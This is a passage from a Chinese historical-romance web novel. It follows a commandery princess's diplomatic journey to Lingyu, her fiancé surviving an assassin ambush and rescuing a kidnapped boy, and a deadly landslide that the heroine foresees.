赵宇轩拍着苏璟皓的肩膀，说道，“听说你跟夫子请了长假，要陪慧敏郡主去凌羽，我们几个过来替你践行。”
苏璟皓朝映雪看去，映雪轻笑道，“走吧，大哥的好朋友，也是我的兄长，不必见外。”
这几个人也都是之前苏秀蓉出嫁，给侯府当拦路官的好友，映雪也都认识。
饭桌上，苏璟皓的好友对苏璟皓羡慕不已，既羡慕苏璟皓有这么厉害的妹妹，又羡慕他还能请假去凌羽玩，苏璟皓无奈表示，夫子给他布置了很多课业，他们全然不见，最后苏璟皓答应每人送两坛酒，这才脱身。
映雪对大哥这些好友印象也都很好，上辈子大哥出事，他们都有去府里悼念，都是一副深受打击的模样，尤其是李逸风和赵宇轩，令映雪记忆深刻。
回到侯府，侯府这两日都谢绝来客，专心为映雪及苏璟皓的出行做准备。
好在二夫人颇有经验，行李挑挑拣拣，也有满满的两大箱。
太子给映雪照顾她起居的宋嬷嬷也已经到了侯府，这次去凌羽，映雪只带竹清与绿绮出行，竹青贴身保护，绿绮性子活络，有利于打探消息，景阳侯府也送了十几名护卫过来，加上永安侯府的，有近三十位的护卫。
映雪心中数着人数，皱眉道，“我们带的人数会不会太多了？”
老夫人抬起头，语气沉稳，“不多。出门在外，情况多变，有备无患，何况这些人的嚼用都是侯府出，皇上自然也不会反对。”顿了一下，又道，“其它府邸只会更多。”
等到了出行那日，映雪见到豫亲王府及康郡王府的护卫团，才知祖母所说不假。
皇上在京城校场为映雪及凌羽公主等人送行，瞧见豫亲王府及康郡王府的护卫团，脸上一黑，这两个府邸的护卫团人数加起来都超过朝廷商定的使团人数了。
他就不该答应豫亲王同意嘉柔参和，但这些护卫团吃的都不是朝廷军响，他自然也管不着。
太子瞧见皇上的脸色，笑着对皇上说道，“父皇，加上这三个府邸的护卫团，大乾使团也算是大规模了，更能体现我大乾国威。”
皇上闻言，这才脸色好转，把豫亲王世子叫上前，叮嘱道，“少臣，这次出使凌羽，此乃关乎两国邦交的大事，任务重大，你切记，莫因游玩的心思给耽误了正事，若有差池，朕定不轻饶。”
豫亲王世子郑少臣微微欠身，恭敬回道，“请皇上放心，臣会牢记使命，扬我国国威。”
皇上点头，随后朝凌羽使臣挥手，声如洪钟，满含笑意道，“祝诸位一路顺遂！”
凌羽使臣将双手交叉，恭敬地捧于胸前，微微欠身，以表诚挚的谢意。
皇上又朝映雪郑重道，“慧敏郡主，多保重，朕在京城静侯你凯旋。”
映雪屈膝行礼，声音沉稳：“陛下放心，臣女定竭尽全力，不负嘱托。”
起身后朝皇上身边的太子看去，太子微微颔首。
随即，豫亲王世子一声令下，喊道，“出发。”
映雪蹬上皇宫为映雪出使特制的马车，撩开窗帘，朝人群中的永安侯挥手道别，永安侯眼眶微湿。
待出了城门，嘉柔和清平也蹬上映雪的马车。
嘉柔捂嘴笑道，“我刚瞧见皇伯父的脸都黑了，说不准心里正埋汰我呢。”
映雪打趣道，“你倒是有自知之明。”
清平笑道，“估计皇上是后悔让我们一起去，怕耽搁路上行程。”
嘉柔撇撇嘴，“人家真正的金枝玉叶芸香公主都不怕吃苦，我才不会给映雪姐姐拖后腿呢，我定要让他们对我刮目相看。”
映雪笑道，“好了，大家
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都起了个大早，这一路上舟车劳顿的，先休息一下，养足精神，后面的行程还长着呢。”
靖宁城，景阳侯叮嘱许牧舟道，“你回京的路上注意安全，凡事多留个心眼，为父会在你们大婚之前赶回京城。”
许牧舟听了，微微扬起嘴角，那俊朗的面庞上满是不羁的笑意，道，“行了，老头子，我又不是小孩子，尽早回京，省得娘一天到晚念叨我。”
景阳侯脸上挂着笑意，提手一挥，许牧舟看了一眼景阳侯，随即，马蹄阵阵，扬起一片尘埃，撒开蹄子一路飞奔起来。
坐了几个时辰的马车，嘉柔已然没了出发时的新奇之感，只觉得浑身不自在。她皱着眉头，在座位上不停地扭动，试图寻得一个舒服些的姿势。
此时，清平正撩开车帘望着天空，转头看到嘉柔的举动，轻声笑道：“可是坐久了觉得累了？队伍应该要休整了，我看前面的人都已经停下了。”她话音刚落，便听到马车外传来苏璟皓的声音：“妹妹，现在已经到中午了，正是用午饭的时候。这一路大家都很辛苦，队伍要停下来补充些食物，你们也下车活动活动筋骨吧。”
嘉柔闻言，迅速跳下马车，映雪也紧跟着下了车。
苏璟皓看着最后一个下车的清平，笑着说道：“这一路还适应吗？前面有一处阴凉的地方，我们可以过去歇歇脚，吃点东西。”
清平微微欠身，嘴角扬起一抹浅笑，回应道：“多谢苏大哥挂怀，还能承受。”
说完，两人朝着映雪走去。
正听到映雪在问豫亲王世子：“世子，我们晚上是不是在清风城落脚？”
豫亲王世子赞叹地说道：“看来苏三姑娘出发前是仔细研究过路程的。”接着他话锋一转，说道：“不过我刚刚和凌羽的使臣进行了一番交涉，对方担心行程耽搁久了，诅咒会变得更加严重，希望我们能加快速度，早日抵达凌羽。”
一旁的嘉柔听到这话，有些不高兴地说道：“现在是他们有求于我们，大哥为什么还要听他们的安排呢？”
豫亲王世子无奈地扶了扶额头，说道：“嘉柔，你要明白我们此行的目的。这一路上风餐露宿肯定是难免的，要是你受不了，我安排人送你回京。”
嘉柔听出大哥语气严肃，委屈地说道：“我又没说不能吃苦，我只是不想大哥被凌羽的人牵着鼻子走。”
豫亲王世子也觉得自己刚才的话重了些，便哄道：“大哥答应你，等我们从凌羽回来，你想去哪儿歇息、去哪儿玩都可以。”
嘉柔这才破涕为笑。
随后，豫亲王世子转头对映雪说道：“这一路怕是要辛苦了。”映雪微笑着点了点头，回应道：“我早已有了心理准备，还是先补充些食物吧，大家都饿了。”
宋嬷嬷与绿绮已经将映雪和苏璟皓两人的吃食准备妥当，火柴上架着的锅子里正咕嘟咕嘟地冒着泡，散发出诱人的阵阵香气。那香气悠悠地飘散在空中，引得嘉柔不住地朝这边张望。她情不自禁地咽了咽口水，小嘴嘟囔着说道：“这味道也太香了吧，映雪姐姐，你们府上准备的是什么干粮呀，怎么闻起来比御厨做的还香呢？”
86. 截杀
映雪笑了笑，说道：“这是用面粉做的干面，里面加了蔬菜干和肉干一起煮的。我想着这路途遥远，难免会有在野外就餐的情况，这样的面总比干巴巴的烙饼和肉干要好吃些。”
嘉柔听了，顿时觉得自己手中正准备咬下去的糕点也没了滋味，娇嗔道：“我也要吃面。”映雪轻声笑道：“府里准备了不少呢，大家都一起吃吧。”
豫亲王世子见绿绮正拿在手上的面块，若有所思道，“苏三姑娘，你这面倒是很适合当军粮。它易储存，不易变质，而且还可以根据实际情况随时加水煮食，能在行军途中为士兵快速补充体力，若是推广到军中，定能让将士们在长途征战时吃得更好些。”
映雪闻言，忍不住夸赞道：“世子心怀天下，仅这面块就能联想到军中，此等眼界和胸怀当真令人钦佩。而我却只想着这面能让旅途之中的吃食不那么单调，能让自己和同行之人吃得更好些罢了，真是惭愧！”
豫亲王世子摆了摆手，笑道：“苏三姑娘不必自谦。你又没在军中待过，不熟悉军粮很正常。你有这面食的巧思，已远超常人了。”
此时，苏璟皓笑着走过来，打断二人道，“你们都各有千秋，一样的优秀，就别在这儿互相自谦了。快来吃面吧，再不吃，这面在锅里煮久了可就要糊了。”
映雪与豫亲王世子闻言，相视一笑，目光再一转，只见嘉柔和清平都已经开始吃起来了，便也连忙疾步走了过去。
众人放下碗筷，靠在一旁的树干上，一个个心满意足地抚摸着微微隆起的肚子，旅途的劳累仿佛在这一顿饱餐之后被一扫而空。
嘉柔看着眼前美景感叹：“在野外美景中用膳别有滋味，若每天如此，我定乐意。”
一旁清平揶揄道：“估计多吃两顿，你就会觉得烙饼比这煮面香。”众人笑作一团。
苏璟皓询问身旁的豫亲王世子道：“世子，若我们加快行程，一切顺利的话，抵达凌羽国皇城大概需多少时日？”
豫亲王世子从怀中取出舆图查看后说道：“预计得两个月左右。”
嘉柔听后，顿时对芸香公主钦佩至极，感叹道：“真没想到，她一个养尊处优的公主，竟能忍受这般艰苦，实在令人敬佩。”接着又说道：“我原本还以为芸香公主此行是来和亲的呢，没想到她运气挺不错。”
映雪知晓皇上的忧虑，并未详说，只是微笑着说道：“公主受万民敬仰，自然肩负着身为公主的责任。凌羽皇上愿意让芸香公主和亲，这彰显出了极大的诚意。而我们皇上并未因为凌羽国有求于我们就趁火打劫，这体现出皇上的宽容豁达，这样的胸怀更值得凌羽国与之友好交往。”
豫亲王世子听了映雪这番话，对她身为女子却有如此眼界佩服得五体投地。心中暗暗思忖，难怪父王和母妃能同意嘉柔随行，想来也是希望嘉柔能从苏三姑娘身上学到几分为人处世的道理。
几人随意地交谈了几句后，便有随从前来禀告：“世子爷，凌羽国的使臣传话过来，说要准备出发了。”
豫亲王点点头，随即起身，轻轻拍了拍身上的褶皱，对映雪说道：“那我先过去了。”
映雪微微颔首表示知晓。
嘉柔和清平也带着丫鬟登上了各自府里准备的马车，这马车既可以坐又能够躺，休息起来十分方便。
许牧舟带着双喜和几个暗卫一路快马加鞭地疾驰着。渐渐地，马匹的速度慢了下来，而且马儿的呼吸也变得沉重起来。
许牧舟不由得皱起了眉头，对身边的人吩咐道：“找个驿站休息一下，顺便把马匹更换了。”
双喜看了看天色，提议道：“爷，再坚持一下的话，还能够赶到下一个城镇呢。今晚要不要就在镇上休息一晚？反正少夫人都已经出京了，我们不如直接抄近道与他们会合。”
许牧舟不耐烦地说道：“少废话，我难道不知道抄近道与他们会合能节省时间？老头子还有事情要交代，我得进宫一趟。”
双喜嘀咕着：“这赶到京城还要三五天呢，少夫人他们出发得早，也不知道能不能追上他们。”
许牧舟听到这话，忍不住训斥道：“蠢货！他们是坐马车出行，本来速度就慢，而且必定走的都是官道，就算晚十天出发也能追上。”
双喜闻言，这才反应过来，暗骂自己猪脑子。
一行人抵达了驿站，此时驿站里熙熙攘攘，好不热闹。
只见一群行商正兴致勃勃地谈论着各地的奇闻轶事；那边几个走南闯北的镖师围坐在桌前，一边豪迈地喝着烈酒，一边眉飞色舞地讲述着自己押送货物时遇到的惊险场面；而在角落里，还坐着几个平民打扮的百姓。
许牧舟皱着眉头在一张空桌前坐下，随后双喜去询问了驿卒，又匆匆回来禀告道：“爷，这驿站没有多余的马匹了。伙计说这两日来的人特别多，马匹都已经被人定下了。”
许牧舟放下手中的茶盏，微微勾起嘴唇说道：“今晚就在驿站休息，你去把马匹照料好。”
双喜兴高采烈地应承下来。待酒足饭饱之后，许牧舟便上楼休息去了。
夜，如浓墨般漆黑，驿站里一片寂静，只有偶尔传来的马匹轻嘶声。
突然，几道黑影如鬼魅般从驿站的屋顶轻飘飘地落下，没有发出一丝声响。这些刺客全身包裹在黑色的夜行衣中，只露出一双双闪烁着寒芒的眼睛。
为首的刺客轻轻一挥手，几个刺客便悄无声息地摸到了许牧舟的房门前。
就在房门被缓缓推开的瞬间，许牧舟猛地睁开双眼，他在床上一个翻滚，与此同时，一道寒光闪过，刺客的利刃已经刺到了床上，却只刺中了被褥。
许牧舟从床头抄起佩剑，剑刃瞬间爆发出一道寒芒。刺客们一拥而上，各种兵器带着凌厉的杀意朝他攻来。许牧舟不退反进，剑如灵蛇般在人群中穿梭，每一次挥动都伴随着血花飞溅。
随即隔壁房间的暗卫赶来，从背后对刺客发动了突袭，一时间刀光剑影在狭窄的房间里交错，喊杀声打破了驿站的宁静。
然而，刺客源源不断地从四面八方赶来，显然是铁了心要置许牧舟于死地。双喜在激战中渐渐感到吃力，忍不住抱怨道：“爷，您对刺客人数的判断偏差未免也太大了吧？您到底是招惹了何方神圣，竟
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让他们下这样的狠手。”
许牧舟的脸色也十分凝重，他迅速从怀里掏出一个药瓶，倒出一颗药丸，扔给双喜，说道：“赶紧服下。”说着，自己也赶紧吃下一颗。
不一会儿，两人身上的剑伤渐渐止血，体力也开始慢慢恢复。许牧舟又倒出几颗药丸，让几名暗卫也服下。
经过一整晚的激战，刺客一方除了为首的那名刺客逃走之外，其余的全部被歼灭。
而许牧舟身边的暗卫有两人受了重伤。
许牧舟喘着粗气对双喜吩咐道，“你去检查一下，驿站中还有没有活口。”
双喜点头退下，没过一会儿，便带着一个腿脚不便的老大娘过来，老大娘见到一身血迹的许牧舟几人，吓得瑟瑟发抖。
赶紧跪着喊求饶。
许牧舟皱眉，温和道，“老人家，我不是坏人，你知道这驿站发生了什么事吗？”
老大娘闻言，不敢置信道，“你真跟他们不是一伙的？”随即看向地上的刺客尸体道，“也是，他们都被你们杀了，你们自然不是一伙的。”说罢，语气中还带着一丝庆幸。
许牧舟又追问道，“他们是何人？”
老大娘闻言，顿时惊恐悲痛，道，“真是一群杀人不眨眼的恶徒啊！他们冲进驿站，见人就杀，根本不管男女老少，驿站里本来还有好些人呢，都被他们给杀光了，就只剩下我这个老婆子，要不是我躲在柴房的地窖里，估计也活不成了。”
许牧舟闻言，脸色瞬间阴沉得仿佛能滴下水来。紧紧地握住了拳头，“砰”的一声，猛地一拳砸在了身旁的桌子上，那原本结实的桌子在他的重击之下应声而裂，木屑四溅。他咬着牙，从牙缝中挤出了几个字：“赤焰蛮子，实在该死！”
许牧舟刚踏入驿站，便察觉到情况有异。那群商人以及角落里的百姓，神情都不太正常，他们似乎一直在留意着门外的动静。
等双喜确认没有可供更换的马匹后，许牧舟心中更加笃定这些人是冲着他来的，于是他便顺势留了下来。
只是他万万没想到，这些赤焰蛮子竟如此心狠手辣，为了设下这个埋伏，竟然将驿站里的人全部残忍杀害。
许牧舟吩咐一名暗卫拿着景阳侯府的信物前往附近的城池，通知官府前来处理此事。这样一来，他们一行人也只好暂时留在驿站，等待官府接手。
许牧舟皱着眉头思索了一会儿，然后对双喜说道：“前去凌羽的那群人恐怕会面临更大的危险。我就不随你们回京城了，等官府的人过来接管此地，我就带着几个暗卫直接去找他们会合。你就暂且留在这里，等另外两名伤者伤势有所好转，你再和他们一起回京，务必将密信交到皇上手中。”
双喜听到许牧舟的安排，脸上浮现出犹豫和挣扎的神色。
片刻之后，他的语气虽然满含不舍，但却异常坚定：“爷，小的明白。您就放心去吧，小的定会将信件安全交到皇上手中。只是此去一路凶险，您千万要保重啊。”说罢，他的眼眶微微泛红。
许牧舟见状，重重地拍了一下双喜的肩膀，说道：“行了，别像个娘们似的。”
87. 山洪
连续二十多天都坐在马车里，嘉柔心中早已后悔此次出京。她本以为行程是每到一座城池就歇息数日，再前往下一座城池，可未曾想，凌羽的使团一心只想尽快抵达凌羽，全然不顾芸香公主的身体状况。若不是映雪姐姐带着的药丸起了作用，恐怕芸香公主的病情早就恶化了。
映雪对使臣的这种行为也感到十分意外。
清平面色沉重地说道：“或许从凌羽皇帝决定让芸香公主到大乾开始，就已经做好了牺牲芸香公主的打算，所以使臣才会将皇帝交办的任务看得比公主的性命还重要。”
映雪若有所思地说：“也有可能是凌羽国内发生了其他事情，才使得他们如此匆忙地赶回去。”
正说着，就见苏璟皓骑马调头朝马车奔来，对马车中的映雪说道：“妹妹，看这天色恐怕要下大雨了，我们得加快行程，赶到下一个城镇去歇脚。”
话音刚落，只听“轰隆”一声雷响，把映雪惊得心头直跳。映雪拉开了车帘，朝天空望去，紧接着又是“轰隆”两声雷响，天上的云层迅速地堆积增厚起来。
映雪心中涌起一股不祥的预感，连忙对苏璟皓说：“大哥，这雷声有些反常，我们未必能赶到下一个城镇了，你让豫亲王世子和凌羽使臣商量一下，做好最坏的打算。”
苏璟皓听后，脸色凝重，立刻骑马快速朝使团前方奔去。
嘉柔愁眉苦脸地说：“我们不会真这么倒霉吧？下着大雨还要在野外过夜？”
清平环顾四周，只见两边山川峻峭直立，他沉声道：“下雨或许还不是最糟糕的，在特殊情况下，暴雨甚至可能引发山体倒塌，行人会被掩埋其中。”
嘉柔听了清平的话，吓得差点哭出来，急忙问道：“那现在该怎么办？我们会不会有危险？”
映雪正想安慰嘉柔，突然一道闪电划过，雷声炸响，马匹受到惊吓，嘶鸣起来，队伍也开始骚乱。映雪抱住嘉柔轻声安抚，目光却望着那黑沉沉的天空，心中满是不安。
随后，她立即对竹清吩咐道：“竹清，你快去找豫亲王世子，让他找一处空旷宽敞的平地扎营，要快。”
竹清点了点头，立刻骑马前去通知。不一会儿，竹清回来禀报说：“姑娘，凌羽使臣提议到山谷中避雨，世子让我来跟您确认一下，是不是一定要在平地扎营？”
映雪郑重地点了点头，说道：“没错，清平说得对，在特殊情况下暴雨会导致山体倒塌，而山谷是最危险的地方，还是以防万一为好。”
映雪心跳得极快，不安的情绪越发强烈，接着又叮嘱道：“尽可能地把情况告诉凌羽使臣，让他们和我们一起到平地扎营。”
竹清退下了。
片刻之后，苏璟皓随着竹清过来了，对映雪说：“妹妹，斥候已经探查清楚，就在前面不远处有一块大草坪，很适合我们前去扎营，我们现在直接去那儿吧。”
映雪心中稍稍放松了一些，顺口问道：“凌羽使臣和我们一起吗？”
苏璟皓有些黑着脸说：“对方说我们年纪小，没什么经历，还说从来没听说过暴雨会导致山体倒塌这种事。”
映雪听了，心中无奈，既然她已经叮嘱过了，对方不听，那她也没有办法了。
两个使团即将分开之时，芸香公主的侍女看着映雪的马车渐渐远去，心中忽然涌起一股不安。她对芸香公主说道：“公主，我们真的不跟大乾使团去扎营吗？要是大乾的慧敏郡主真如国师所言是天女，那她的话应该是很灵验的吧？”
芸香公主听了，放下手中把玩着的由羊脂白玉雕琢而成的玲珑玉球，思索片刻后说道：“你说得也有道理，而且跟慧敏郡主她们一起，还能吃到美味的煮面呢。”接着，她对侍女吩咐道：“你去把使臣大人叫来。”
侍女满心欢喜地跑去找使臣大人。芸香公主和使臣大人一番交流之后，便带着一群侍卫跟在了大乾使团的后面。
这一幕恰好被绿绮看见了，她惊讶地叫道：“姑娘，凌羽国的公主跟在我们后面呢。”映雪探出身子朝后面望去，只见芸香公主的马车离她越来越近。
等到马车停下，映雪从芸香公主口中得知，芸香公主带着一部分士兵要和他们一起扎营，映雪表示很欢迎。
此时，天空中的云层越来越低，雷电也愈发密集。
豫亲王世子和苏璟皓都亲自上手帮忙扎营，护卫们和士兵们也都争分夺秒地忙碌着。
终于，在他们搭好营帐的最后一刻，豆大的雨滴开始砸落下来。一开始雨滴还很稀疏，转眼间就像断了线的珠子一样倾盆而下。
嘉柔忍不住庆幸地说道：“幸好我们没有一直赶路，不然真的要变成落汤鸡了。”
映雪望着眼前那如瀑布般倾泻而下的暴雨，微微皱起了眉头，心中又不由自主地想起了许牧舟。她已经从暗卫那里得知，许牧舟已经离开了靖安城，正在朝着与她汇合的方向赶来。
她担心如果雨势太大的话，恐怕会耽误他在路上的行程。
许牧舟在道路上快马加鞭地疾驰着，心中满是对映雪的牵挂。
忽然，头顶传来一阵轰隆隆的雷声，那雷声仿佛是从九天之上直直砸落下来的，震得人双耳嗡嗡作响。
许牧舟连忙勒住马缰，对随行的暗卫说道：“赶紧找个地方避雨。”
暗卫们迅速行动起来，四处张望。没多久，一名暗卫指着不远处说道：“少主，那边有一座破旧的山神庙，我们可以到那里暂避。”
许牧舟顺着暗卫所指的方向望去，只见一座略显沧桑的山神庙静静地矗立在山林之间。
他没有丝毫犹豫，立刻驱马朝着山神庙奔去。
眨眼间，豆大的雨点便噼里啪啦地落了下来，那雨滴如同断了线的珠子一般，从阴沉的天空中倾盆而下，很快就把许牧舟等人的衣裳打湿了。
众人快步走进山神庙，庙内弥漫着一股陈旧的气息，正中间供奉着一尊已经有些褪色的山神雕像。
暗卫熟练地生起了火，许牧舟也脱下外衣，搭在火边烘烤着。忽然，周围隐隐约约传来一道微弱的呻吟声，那声音仿佛是从某个阴暗的角落里飘出来的。许牧舟和暗卫们立刻警觉起来，暗卫手持武器，小心翼翼地朝着声音的来源处探寻过去。在山神庙一个破旧的草堆后面，他们发现了一个蜷缩着的小男孩。小男孩面色苍白，嘴唇干裂，身体不停地颤抖着，显然是生病了，正处于痛苦之中。
暗卫急忙把小男孩抱了起来，跑到许牧舟跟前，急切地说道：“少
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主，是个孩子。”
许牧舟抬眼望去，只见这是个五六岁的小男孩，皮肤白净，衣着讲究，显然不是贫苦人家的孩子。他随即像是想到了什么，脸色阴沉了下来。
许牧舟从怀中掏出药瓶，让暗卫给小孩喂药。
过了一会儿，小男孩清醒过来，看到许牧舟几人，一点也不怯生，软糯糯地问道：“大哥哥，是你救了我吗？”
许牧舟微微扬起下巴，目光中带着一种与生俱来的骄傲与高贵。他看着小男孩，语气淡淡地问：“你倒算是福大命大，不过你怎么会孤身一人流落到这荒郊野外？”
小男孩听了这话，瞬间流露出失落的神情，说道：“我遇到拐子了，他们见我病得厉害，担心我会死在马车里，就直接把我扔在这里了。”
许牧舟见小男孩只是因为被拐子丢弃而感到失落，却丝毫没有对拐子的畏惧，心中觉得好笑，便问道：“你怎么知道他们是拐子？而且你为何不怕他们？”
小男孩一脸坚定地回答道：“我当然知道，除了我，他们还拐了好几个和我差不多大的孩子呢。奶娘跟我说过，拐子最喜欢抓我们这个年纪、长得又好看的孩子。”
许牧舟继续追问道：“你奶娘难道没跟你说过被拐子抓走后会有怎样可怕的后果？”
小男孩微微低下头，摆弄着衣角，声音软糯，其中夹杂着一丝不易察觉的难过：“我父亲常年在外经商，母亲每天只顾着和那些姨娘们争吵，除了奶娘，根本就没有人关心我。我就想着，要是我被拐子拐走了，他们会不会着急地到处找我。”说到这里，小男孩的眼中闪过一丝期待与落寞。
许牧舟听了这话，沉默了下来。
随即，许牧舟又问道：“那你想不想回家？”
小男孩用力地点着头，望向许牧舟的眼神中满是期待。
之后，许牧舟又询问了小男孩的家乡在哪里，拐子有什么特征，以及他们要去的方向等信息。
许牧舟对身边的暗卫吩咐道：“待雨停之后，我们直接前往附近城池的府衙。”
想到行程又要被耽搁，许牧舟心中满是懊恼，这该死的拐子。
映雪几人在账营中几乎一夜未眠，先是听到轰鸣声，随后远处山体倒塌发出沉闷巨响，那声音如千军万马奔腾、似沉闷雷声回荡。众人脸色惨白，心中涌起不祥之感，芸香公主更是跪地祈祷起来。
暴雨直到次日上午才渐渐减弱，化为淅淅沥沥的小雨。
豫亲王世子和苏璟皓带着护卫一路疾驰，踏入山谷之中。
眼前的景象惨不忍睹。山谷中，泥土和石块杂乱堆积，原本平整的地面变得坑坑洼洼。一具具凌羽士兵的尸体横七竖八地躺着，有的被石块砸得血肉模糊，有的被泥土掩埋大半，只露出残肢断臂。雨水的冲刷虽让血迹变淡了些，但仍染红了大片土地。幸存的少数人也都身负重伤，在尸堆中痛苦地呻吟着。
忽然，堆积如山的石块与泥土深处传来一道微弱的呜呜声。豫亲王世子立刻让护卫上前救援，随着最后一块大石被挪开，满身泥泞、面色惨白的凌羽使臣出现在眼前，他的嘴唇颤抖着发出呜呜声。
使臣看到豫亲王世子和苏璟皓的身影后，顿时嚎啕大哭，心中满是悔恨。
88. 山匪
豫亲王世子吩咐护卫把凌羽的伤员都抬回营地，芸香公主见此惨状，身子猛地摇晃了一下，幸得身边侍女及时托住。紧接着，她郑重地向世子行了一个重礼，只见她微微低头，双手交叠于身前，而后缓缓屈膝下蹲，满含感激地对豫亲王世子说道：“世子心怀大义，此等善举尽显仁德，我在此代表凌羽谢过世子了。”
豫亲王世子见状，连忙伸手虚扶，脸上挂着温和的笑意，微微摇头道：“公主不必如此，你我同行，本就该相互守望相助。他们无辜遭此横祸，我又怎能袖手旁观呢？”
芸香公主心中暗自庆幸，幸好她带着部分侍卫跟着大乾的使团，不然的话，他们的使团恐怕早已全军覆没了。与此同时，她心中更加笃定慧敏郡主就是国师口中的天女，于是便萌生出了与映雪交好的想法。
嘉柔也是第一次亲眼见到身边人发生如此惨状，想到自己也差点落得这般下场，不由得打了个寒颤。
映雪见状，轻轻搂住嘉柔，柔声问道：“是不是害怕了？”嘉柔带着哭腔道：“映雪姐姐，他们真是太可怜了，呜呜！”
一旁的清平则沉声说道：“看样子这两日我们是走不了了，若是这般下去，我们的粮食恐怕就不够了。”
映雪闻言，面色也变得有些凝重，随即提议道：“等雨停了，可以让护卫们去山上打猎，总能有些收获，到时候我们还能烤肉吃。”说罢，她的眼睛微微发亮，仿佛已然看到了滋滋冒油的烤肉，不自觉地咽了一口口水，脸上露出一丝馋意，“好久都没吃到烤肉了，光是想想都让我垂涎欲滴呢。”
营账里的气氛也随之轻松起来，嘉柔欢快地道：“我们还能一起去山上捡菇子呢，这个季节的菇子正肥美，我一定要去。”
映雪也点头赞同。
随即，从旁边的营账传来一道略微熟悉的撕心裂肺的惨叫声。
映雪微微皱眉，正想让竹清前去打探，刚掀开门帘，就见苏璟皓疾步向这边走来。
映雪迎上前去，问道：“大哥，那边什么情况？”
苏璟皓语气沉重地说道：“凌羽使臣的大腿被石头压坏，御医说要截肢，使臣想要求见你，你有办法吗？”
映雪沉默下来，随后从荷包中掏出一粒药丸递给苏璟皓，神色凝重地叮嘱道：“大哥，你把这粒药丸拿去，告诉他，这粒药丸是我留着防身用的，仅有一颗，且价值不菲。如果他愿意承担费用，就给他服用。”
苏璟皓一听映雪说这是留给自己防身用的，立马拒绝道：“那不行，既然是防身用的，再多的银两你也不能卖。”说罢，就要转身回绝。映雪拉着苏璟皓的袖子，瞪了他一眼，道：“大哥，你怎么这么笨。”
清平在一旁轻笑道：“匹夫无罪，怀璧其罪。”
苏璟皓这才恍然大悟，讪讪地挠了挠头，从映雪手中接过药丸离去。
雨势渐渐收住，云层消散，映雪几人也纷纷跑出账外。抬眼望去，天空像是被刚刚的雨水清洗过一般，澄澈而明亮。就在众人沉浸在这雨过天晴的清新氛围中时，一道绚丽的彩虹如梦幻般横跨天际。
嘉柔兴奋地一跃而起，指着那道彩虹大声呼喊：“快看呀，彩虹！好漂亮啊！”
映雪微微仰头，心中感慨万千。前一刻的惨状依旧历历在目，而这会儿天空中却出现了如此绚丽的彩虹，不禁感叹命运的无常。
芸香公主也从她的营帐中款步走来，对着映雪微微欠身，说道：“若不是慧敏郡主提醒，我等恐怕早已命丧此地。待抵达凌羽，我必定好好答谢郡主。”
映雪摆了摆手，轻笑道：“公主言重了。公主能避开此祸，乃是公主的福报，我不过是略尽绵薄之力罢了。”
芸香公主眼神凝视着远方，语气中满是伤感：“在我们凌羽，确实从未发生过山体倒塌之事。只有那些住在海边的渔民偶尔会被海浪袭击，葬身海域。不曾想，在大乾竟会遭遇这种劫难。”
映雪柔声说道：“凌羽与大乾地势大不相同，所遭受的灾害自然也不一样，公主不必过于自责。”
芸香公主扯了扯唇角，勉强露出一抹笑容，说道：“我能与你们待在一起吗？不怕郡主笑话，我心中有些害怕。”
映雪自然欣然应允。
绿绮拿着斗篷走了过来，轻轻地披在映雪的肩膀上，说道：“姑娘，宋嬷嬷煮好了面汤，先用膳吧。”
映雪顿时没了胃口，连续几日都吃着同样的食物，就算是龙肉恐怕也会吃腻。
随即，映雪招呼嘉柔她们道：“走，我们去找大哥他们，让护卫去山上狩猎。”
芸香公主闻言，心中也升起了几分兴致。微微颔首，跟在了映雪几人的后面。
许牧舟几人在破庙中留宿，也知晓了小男孩的小名。暗卫在山中抓来几只野鸡，在寺庙中生火烤食。
祥宝啃食着野鸡腿，吃得津津有味，对身边的许牧舟说道：“大哥哥，要不我以后就跟着你吧？等我长大了定会好好孝敬你。”
许牧舟忍俊不禁，脸上带着笑意道：“你连我是什么人都不知道，就敢跟着我，难道就不怕我把你给卖了？”
祥宝用力地摇摇头，说道：“大哥哥一看就是好人，我才不怕呢。而且大哥哥身边的护卫还会抓野鸡，也不用担心会饿肚子。”
许牧舟一时无语，心中暗自思忖，以后自己的儿子一定要好好教育，可不能被一只野鸡腿就给别人哄走了。
随即，他的脑海中又开始勾画起未来女儿的样貌，想起映雪那贪吃的模样，嘴边不由得勾起浅浅的笑意。
祥宝瞧见，忍不住好奇地问道：“大哥哥，你是不是想你娘子了？我表哥想他娘子的时候也和你现在的表情一模一样呢。”
旁边的暗卫闻言，拼命地忍住笑声。
许牧舟瞥了一眼暗卫，转头朝祥宝命令道：“吃完了赶紧睡觉。”
祥宝乖乖地躺在暗卫铺就的草垛上。附近的火光映照得他小脸红扑扑的，宛如熟透的苹果。他闭上眼睛，不过一瞬间便熟睡了过去，小小的胸膛随着呼吸微微起伏。
许牧舟朝小孩看了一眼，心中暗自思忖，养个孩子似乎也别有一番滋味。一想到那丫头还有几个月便及笄了，心中更是涌起阵阵热忱，脑海中全然被映雪的身影占据。
待天色刚亮，细雨依旧淅淅沥沥地下着。
许牧舟当机立断道：“不等了，直接赶路去府衙。”
祥宝被暗卫紧紧护在胸前，头顶戴着雨具
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，被护得严严实实。
许牧舟手持景阳侯府的令牌，径直来到府衙。
此时府衙县令尚在睡梦中，得知景阳侯世子来访，惊得连忙起身整理衣冠，慌慌张张地出门相迎。只见他满脸惶恐与恭敬，躬身行礼道：“不知世子大驾光临，下官有失远迎，还望世子恕罪。”说罢，便小心翼翼地引着许牧舟等人进入府衙，一路上诚惶诚恐，大气都不敢出。
许牧舟也不拖沓，直言问道：“最近这城里可有遗失小孩的家眷前来报案？”
县令大人踌躇片刻道：“是有几起。”随即又赶紧补充道：“下官已经在追查了，目前已经有些眉目。”
许牧舟见县令确实有在重视此事，脸色这才稍稍好转。
随后，许牧舟将祥宝的情况以及拐子的特征向县令详细地补充完整，并吩咐道：“我会去信给州府，让他们协助你调查，务必把这群拐子抓获。”
县令连忙拱手道：“多谢世子，下官必定不负重托。”
许牧舟微微颔首，转头看了一眼祥宝，又向县令交待道：“我还有要事处理，送这孩子回家的事就交给你了。务必把他安全送达，等我回程之际，会来府衙一趟，若有岔子，唯你是问。”
县令立马惶恐道：“世子放心，下官定当竭尽全力，确保这孩子安全归家。若有半点差池，下官愿领罪责。”
祥宝不舍地看着许牧舟，许牧舟摸头安抚：“回家好好听父母话，有机会我会去看你。”祥宝郑重点头。
随后，祥宝望着许牧舟几人离开的背影，眼神落寞。
许牧舟几人敏捷地翻身上马，扬起马鞭，朝着映雪等人所在的方向疾驰而去，马蹄扬起阵阵烟尘，那身影渐渐消失。
